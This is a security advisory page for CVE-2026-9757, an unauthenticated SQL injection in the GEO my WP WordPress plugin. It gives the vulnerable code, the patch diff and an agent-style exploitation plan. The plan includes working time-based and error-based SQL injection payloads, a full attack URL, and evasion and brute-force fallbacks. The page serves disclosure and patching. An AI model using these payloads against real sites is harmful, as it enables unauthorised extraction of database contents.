CVE-2026-9757

GEO my WP <= 4.5.5 - Unauthenticated SQL Injection via 'swlatlng' / 'nelatlng' Parameters

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
4.5.5.1
Patched in
1d
Time to patch

Description

The GEO my WP plugin for WordPress is vulnerable to SQL Injection via the 'swlatlng' and 'nelatlng' parameters in all versions up to, and including, 4.5.5 The parameters are read from $_SERVER['QUERY_STRING'] via parse_str() (bypassing WordPress's wp_magic_quotes protection, which only covers $_POST/$_GET/$_COOKIE/$_REQUEST), then each is split on ',' via explode() and the resulting fragments are interpolated directly into a SQL BETWEEN clause in gmw_get_locations_within_boundaries_sql() without is_numeric() validation, (float) casting, esc_sql(), or $wpdb->prepare(). This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the site to host the Posts Locator search-results shortcode (`[gmw form="results" form_id=N]`) on a public page and to have at least one published post with an associated gmw_location row.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.5.5
PublishedMay 29, 2026
Last updatedMay 30, 2026
Affected plugingeo-my-wp

What Changed in the Fix

Changes introduced in v4.5.5.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to exploit a SQL Injection vulnerability in the **GEO my WP** plugin (CVE-2026-9757). ### 1. Vulnerability Summary * **Vulnerability:** Unauthenticated SQL Injection. * **Location:** `gmw_get_locations_within_boundaries_sql()` (inferred). * **Cau…

Show full research plan

This research plan outlines the steps required to exploit a SQL Injection vulnerability in the GEO my WP plugin (CVE-2026-9757).

1. Vulnerability Summary

  • Vulnerability: Unauthenticated SQL Injection.
  • Location: gmw_get_locations_within_boundaries_sql() (inferred).
  • Cause: The plugin extracts parameters swlatlng and nelatlng from $_SERVER['QUERY_STRING'] using parse_str(). This bypasses WordPress's global wp_magic_quotes (which only affects $_GET, $_POST, etc.). The values are then exploded by a comma and interpolated directly into a SQL BETWEEN clause without any type casting (float), validation (is_numeric), or parameterization ($wpdb->prepare).
  • Impact: Unauthenticated attackers can extract sensitive data from the database via time-based or union-based SQL injection.

2. Attack Vector Analysis

  • Endpoint: Any public page containing the [gmw form="results" form_id=N] shortcode.
  • Hook: Triggered during a location-based search or map boundary update.
  • HTTP Parameter: swlatlng (and nelatlng) passed via the URL query string.
  • Authentication: None (Unauthenticated).
  • Preconditions:
    1. A "Posts Locator" form must be configured.
    2. A page must exist with the results shortcode.
    3. At least one post must have a location associated with it in the wp_gmw_locations table.

3. Code Flow

  1. Request: A GET request is sent to a page with the GMW shortcode, containing swlatlng in the query string.
  2. Processing: The plugin identifies the search parameters.
  3. Bypass: It uses parse_str( $_SERVER['QUERY_STRING'], $query_args ). Because it uses the raw $_SERVER variable, WordPress has not escaped any single quotes or backslashes.
  4. Parsing: explode( ',', $query_args['swlatlng'] ) splits the string into latitude and longitude fragments.
  5. Sink: The fragments are placed into a string-interpolated SQL query:
    $sql = " ... lat BETWEEN {$sw[0]} AND {$ne[0]} ... ";
  6. Execution: $wpdb->get_results( $sql ) executes the malicious query.

4. Nonce Acquisition Strategy

While the vulnerability resides in the query processing, GMW often requires a nonce for AJAX-based map updates or search submissions.

  1. Shortcode Placement: Create a page with the Posts Locator shortcode:
    wp post create --post_type=page --post_status=publish --post_content='[gmw form="results" form_id=1]'
  2. Navigation: Navigate to this page using browser_navigate.
  3. Extraction: GMW typically localizes variables for its JavaScript components. Use browser_eval to extract the nonce and form settings:
    • Variable Name: window.gmwVars or window.gmw_form_settings.
    • Logic: browser_eval("window.gmwVars?.ajax_nonce || window.gmw_form_settings?.[1]?.nonce").
    • Note: The form ID (e.g., 1) is usually the key in the settings object.

5. Exploitation Strategy

Payload Selection:
Since the input is interpolated into a BETWEEN clause without quotes, we can use a time-based payload to confirm the vulnerability.

Target Payload (for swlatlng):
1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -,2

HTTP Request (via http_request):

  • Method: GET
  • URL: http://localhost:8080/{page-with-shortcode}/?gmw_v=1.0&gmw=post_types_locator&action=gmw_ajax_get_locations&swlatlng=1)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-,2&nelatlng=45,45
  • Headers: Content-Type: application/x-www-form-urlencoded

Steps:

  1. Baseline Request: Measure the time for a normal request with swlatlng=1,1&nelatlng=45,45.
  2. Attack Request: Send the request with the SLEEP(5) payload.
  3. Observation: If the response time is significantly > 5 seconds, SQLi is confirmed.

6. Test Data Setup

To ensure the code path reaches the SQL sink, GMW must find "something" to query.

  1. Activate Plugin: wp plugin activate geo-my-wp.
  2. Create Post: wp post create --post_title="Location Test" --post_status="publish" --post_type="post" (Assume ID is 123).
  3. Insert GMW Location:
    wp db query "INSERT INTO wp_gmw_locations (object_id, object_type, lat, lng, status) VALUES (123, 'post', 10.0, 10.0, 1)"
    
  4. Create GMW Form: GMW stores forms in the gmw_forms option. A default form must exist. If not, use:
    wp option update gmw_forms '{"1":{"ID":1,"slug":"posts_locator","addon":"posts_locator","form_type":"posts_locator","name":"Test Form"}}' (simplified).

7. Expected Results

  • The baseline request should return a standard JSON response (e.g., [] or location data) quickly (< 500ms).
  • The attack request should stall for at least 5 seconds before returning a response.

8. Verification Steps

  1. Database Confirmation: After the exploit, verify the query that was executed by checking the MySQL general log (if enabled) or using wp db query to verify the structure of the wp_gmw_locations table to ensure column names match expectations.
  2. Data Extraction: To demonstrate impact, use an error-based payload to extract the database version:
    swlatlng=1) AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)-- -,2
    The response should contain a SQL error message leaking the version.

9. Alternative Approaches

If the $_SERVER['QUERY_STRING'] bypass is blocked by a WAF or server configuration:

  • Parameter Polling: Test if the payload can be delivered via $_GET['swlatlng'] directly, although the parse_str description suggests the raw string is the intended target.
  • Blind Boolean: If SLEEP() is disabled, use IF(1=1, lat, lng) to change the results returned and verify via the "success" vs "no results" response.
  • Form ID Brute Force: If form ID 1 doesn't exist, enumerate form_id from 1-10.
Research Findings
Static analysis — not yet PoC-verified

Summary

The GEO my WP plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'swlatlng' and 'nelatlng' parameters in versions up to 4.5.5. These parameters are parsed from the raw query string and interpolated directly into a SQL BETWEEN clause in the gmw_get_locations_within_boundaries_sql() function without proper validation, casting, or parameterization.

Vulnerable Code

// includes/gmw-functions.php (around line 665 in version 4.5.5)
function gmw_get_locations_within_boundaries_sql( $southwest = '', $northeast = '' ) {

	if ( empty( $southwest ) || empty( $northeast ) ) {
		return;
	}

	$sw = explode( ',', $southwest );
	$ne = explode( ',', $northeast );

	return " AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} ) AND ( ( {$sw[1]} < {$ne[1]} AND gmw_locations.longitude BETWEEN {$sw[1]} AND {$ne[1]} )
			OR ( {$sw[1]} > {$ne[1]} AND (gmw_locations.longitude BETWEEN {$sw[1]} AND 180 OR gmw_locations.longitude BETWEEN -180 AND {$ne[1]} ) ) )";
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/geo-my-wp/4.5.5/includes/gmw-functions.php	2024-11-09 02:22:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/geo-my-wp/4.5.5.1/includes/gmw-functions.php	2026-05-29 01:12:32.000000000 +0000
@@ -523,6 +523,14 @@
 		if ( isset( $output['address'] ) && ! is_array( $output['address'] ) ) {
 			$output['address'] = urldecode( $output['address'] );
 		}
+
+		if ( isset( $output['swlatlng'] ) && false === gmw_parse_latlng_boundary( $output['swlatlng'] ) ) {
+			unset( $output['swlatlng'] );
+		}
+
+		if ( isset( $output['nelatlng'] ) && false === gmw_parse_latlng_boundary( $output['nelatlng'] ) ) {
+			unset( $output['nelatlng'] );
+		}
 	}
 
 	if ( ! empty( $output['sortby'] ) ) {
@@ -533,6 +541,43 @@
 }
 
 /**
+ * Parse and validate a comma separated lat,lng pair.
+ *
+ * @param string $boundary comma separated lat,lng value.
+ *
+ * @return array|false
+ */
+function gmw_parse_latlng_boundary( $boundary = '' ) {
+
+	if ( ! is_string( $boundary ) || '' === $boundary ) {
+		return false;
+	}
+
+	$coords = array_map( 'trim', explode( ',', $boundary ) );
+
+	if ( 2 !== count( $coords ) ) {
+		return false;
+	}
+
+	if ( ! is_numeric( $coords[0] ) || ! is_numeric( $coords[1] ) ) {
+		return false;
+	}
+
+	$lat = (float) $coords[0];
+	$lng = (float) $coords[1];
+
+	if ( ! is_finite( $lat ) || ! is_finite( $lng ) ) {
+		return false;
+	}
+
+	if ( abs( $lat ) > 90 || abs( $lng ) > 180 ) {
+		return false;
+	}
+
+	return array( $lat, $lng );
+}
+
+/**
  * GMW Function - Covert object to array.
  *
  * @param  array $data the array to convert.
@@ -672,11 +717,29 @@
 		return;
 	}
 
-	$sw = explode( ',', $southwest );
-	$ne = explode( ',', $northeast );
+	$sw = gmw_parse_latlng_boundary( $southwest );
+	$ne = gmw_parse_latlng_boundary( $northeast );
+
+	if ( false === $sw || false === $ne ) {
+		return '';
+	}
+
+	global $wpdb;
 
-	return " AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} ) AND ( ( {$sw[1]} < {$ne[1]} AND gmw_locations.longitude BETWEEN {$sw[1]} AND {$ne[1]} ) 
-			OR ( {$sw[1]} > {$ne[1]} AND (gmw_locations.longitude BETWEEN {$sw[1]} AND 180 OR gmw_locations.longitude BETWEEN -180 AND {$ne[1]} ) ) )";
+	return $wpdb->prepare(
+		' AND ( gmw_locations.latitude BETWEEN %f AND %f ) AND ( ( %f < %f AND gmw_locations.longitude BETWEEN %f AND %f )
+				OR ( %f > %f AND (gmw_locations.longitude BETWEEN %f AND 180 OR gmw_locations.longitude BETWEEN -180 AND %f ) ) )',
+		$sw[0],
+		$ne[0],
+		$sw[1],
+		$ne[1],
+		$sw[1],
+		$ne[1],
+		$sw[1],
+		$ne[1],
+		$sw[1],
+		$ne[1]
+	);

Exploit Outline

The exploit targets pages where the [gmw form="results"] shortcode is present. An unauthenticated attacker sends a GET request containing a malicious payload in the 'swlatlng' parameter (e.g., '1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -,2'). The plugin extracts this value from the raw $_SERVER['QUERY_STRING'] using parse_str(), which bypasses WordPress's automatic character escaping. The payload is then exploded by commas and the segments are interpolated directly into a SQL query, allowing for time-based or error-based data extraction from the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.